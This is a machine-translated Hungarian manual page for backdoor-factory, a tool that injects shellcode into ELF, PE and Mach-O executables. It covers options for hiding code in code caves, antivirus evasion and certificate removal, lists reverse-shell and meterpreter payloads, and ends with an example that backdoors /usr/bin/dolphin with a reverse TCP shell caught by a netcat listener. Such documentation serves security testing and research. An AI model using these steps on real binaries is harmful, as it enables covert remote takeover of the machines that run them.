backdoor-factory - előre definiált vagy felhasználó által definiált shellkód beszúrása bináris fájlokba
backdoor-factory [options]
backdoor-factory javítsa ki a végrehajtható bináris fájlokat a felhasználó által kívánt shellkóddal, és folytassa az előre javított állapot normál végrehajtását.
Ez az eszköz csak biztonsági szakemberek és kutatók számára készült.
Ez az eszköz nem támogatja az áthelyezhető ELF végrehajtható fájlt (azaz -fPIE opcióval fordítva, a Debian keményítési követelményei szerint, lásd: https://wiki.debian.org/Hardening)
Előfordulhat, hogy az olyan binárisok, mint például az ssh, nem kerülnek előírásra, mint például a delphin (a kézikönyv oldalának írásakor) igen.
jelenítse meg ezt a súgóüzenetet, és lépjen ki
Fájl a hátsó ajtóba
Használható rakományok. Használja a 'show'-t a hasznos terhek megtekintéséhez.
A C2 IP a fordított csatlakozásokhoz.
A port, amelyre vissza kell csatlakozni a fordított shellekhez, vagy figyelni a bind shelleket
Válassza ezt az opciót, ha kódbarlangi ugrást szeretne használni a shellkód további elrejtésére a binárisban.
Kötelező új szakasz hozzáadása az exe-hez (jobb siker), de kevesebb av elkerülés
A felhasználó által megadott shellkód, győződjön meg arról, hogy megegyezik a megcélzott architektúrával.
A barlangzászló olyan kódbarlangokat talál, amelyek a shellkód elrejtésére használhatók. Ez az összes meghatározott méretű kódbarlangba nyomtat. A -l jelző használható ezzel a beállítással.
Használható a -c-vel, hogy segítsen megtalálni a különböző méretű kódbarlangokat
A hátsó ajtó kimeneti fájl elérési útja. A szülőkönyveknek létezniük kell
Az új szakasz neve hét karakternél rövidebb lehet
Ez azoknak a fájloknak a helye, amelyeket a hátsó ajtóhoz kíván kapcsolni. Gyorsabbá teheti a fájlháttérajtó könyvtárát, ha az -a beállítással kódcave-t kényszerít az exe-hez.
Ez a jelző megváltoztatja a kódcave-t tartalmazó részt RWE-re. Néha ez szükséges. Alapértelmezés szerint engedélyezve. Ha le van tiltva, a hátsó ajtó meghibásodhat.
Ez a parancs a hátsó ajtó gyárát egy vadászat és shellcode inject típusú mechanizmusba kapcsolja. Szerkessze a célbeállításokat az injektormodulban.
Az injektorral való használathoz helyezzen egy utótagot az eredeti fájlba a könnyű helyreállítás érdekében
Injektor modullal használható. Ez a parancs törli az eredeti fájlt. Nem használható termelési rendszerekben. (A szerző nem vállal felelősséget a hülye felhasználásokért.)
Kezdőpont a lemezeltoláson, bájtban. Egyes szerzők el akarják homályosítani a lemezen lévő eltolásukat, hogy elkerüljék a visszafejtést, ha úgy találja, hogy az egyik ilyen fájl használja ezt a jelzőt, miután megtalálta az eltolást.
Annak megállapítása, hogy a fájlt támogatja-e a BDF, mielőtt a fájl hátsó ajtót nyitna. Önmagában vagy bőbeszéddel való használatra. Ez az ellenőrzés automatikusan megtörténik, ha megkísérlik a hátsó ajtót.
Jövőbeni felhasználás a PE-fájlban lehetséges legkisebb shellkód meghatározásához
Megöli a transzparenst.
Hibakeresési információk kimenetéhez.
Csak ALL, x86 vagy x64 típusú bináris fájlok. Alapértelmezett=MINDEN
Lehetővé teszi a PE-tanúsítványtáblázat mutatójának felülírását, hatékonyan eltávolítva a tanúsítványt a binárisból minden célból.
KÍSÉRLETI Ellenőrzi a PE binárisokat a 'requestedExecutionLevel level="highestAvailable"'-re. Ha ez a karakterlánc szerepel a binárisban, akkor rendszer/adminként kell futnia. Ha nincs Támogatás-ellenőrzés módban, akkor megkísérli a highAvailable javítást a jegyzékben, ha létezik a requestedExecutionLevel bejegyzés.
Használja ezt a beállítást, ha NEM akarja javítani a DLL-eket. Javítások alapértelmezés szerint.
MACH-O formátumhoz. Kövér fájl esetén összpontosítson arra, hogy melyik ívet kell foltozni. Az alapértelmezett x64. Az x86 kényszerítéséhez használja az -F x86, mindkét ív kényszerítéséhez pedig az -F ALL parancsot.
Azon rakományoknál, amelyek képesek kijelzésre, állítsa be az időt másodpercben
Javítási módszerek PE-fájlokhoz, 'manuális', 'automatikus', csere és onionduke
Onionduke-nak. Adja meg a kívánt bináris fájlt.
Alapértelmezés: NE támogassa a régebbi XP gépeket, használja a -X billentyűt az XP támogatásához. Alapértelmezés szerint a bináris fájl összeomlik XP gépeken (például homokozókon)
KÍSÉRLETI Alapértelmezésben egy új Import Directory Table jön létre egy új szekcióban, ennek a jelzőnek a meghívásával egy kódbarlangba kerül. Ez bizonyos esetekben bináris kudarcot okozhat. Először tesztelje a cél binárisokat.
Azoknak, akik kódtervező tanúsítványokkal rendelkeznek, és csak PE bináris fájlokat szeretnének aláírni. Nevezze el aláíró kulcsát és privát kulcsát signingcert.cer és signingPrivateKey.pem a tanúsítványok könyvtárában, az aláíró tanúsítványok beszerzése Önön múlik.
Előfeldolgozási szkriptek végrehajtása az előfeldolgozási könyvtárban
A backdoor-factoryban különféle előre definiált shellkódok találhatók. Elérhetőségük a céltípustól függ (ELF32, ELF64, PE32...). A shellkódok listája az alábbiakban található.
szükség: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést
szükség: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést
szükség: egy beacon, egy távoli gazdagép és a beállítandó port lehetővé teszi: távoli shell hozzáférést
szükség: egy felhasználó által definiált shellkód, amely készen áll a beszúrásra, engedélyezi: a shellkódtól függ
szükséges: engedélyek:
igények: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést
igények: egy távoli gazdagép és beállítandó port lehetővé teszi: Injektálja be a meterpreter szerver DLL-t a Reflective Dll Injection hasznos terhelésen keresztül
igények: távoli gazdagép és beállítandó port engedélyezi: meterpreter over https transport
igények: a felhasználó által definiált shellkód, amely készen áll a beszúrásra, engedélyezi: a shellkódtól függ
igények: a távoli gazdagép és a beállítandó port lehetővé teszi:
igények: a távoli gazdagép és a beállítandó port lehetővé teszi:
igények: egy távoli gazdagép és beállítandó port lehetővé teszi: Injektálja be a meterpreter szerver DLL-t a Reflective Dll Injection hasznos terhelésen keresztül
igények: a felhasználó által definiált shellkód, amely készen áll a beszúrásra, engedélyezi: a shellkódtól függ
igények: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést
igények: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést
igények: egy jeladó, egy távoli gazdagép és a beállítandó port lehetővé teszi: távoli shell hozzáférést
igények: a felhasználó által definiált shellkód, amely készen áll a beszúrásra, engedélyezi: a shellkódtól függ
Példa egy ELF bináris cavekódolására távoli shell-elérés integrálásával egy távoli TCP-figyelőn keresztül (pl. netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcpA 172.16.0.15 IP mögötti gazdagépen indítsa el a netcat hallgatási módban:
netcat -l 172.16.0.15 8080A célon indítsa el a hátsó ajtós binárist:
./backdoored/dolphinMost a 172.16.0.15 gazdagépen csak használja a shelljét.
2017. május, eredetileg összeállította: Philippe Thierry (phil at reseau-libre dot com)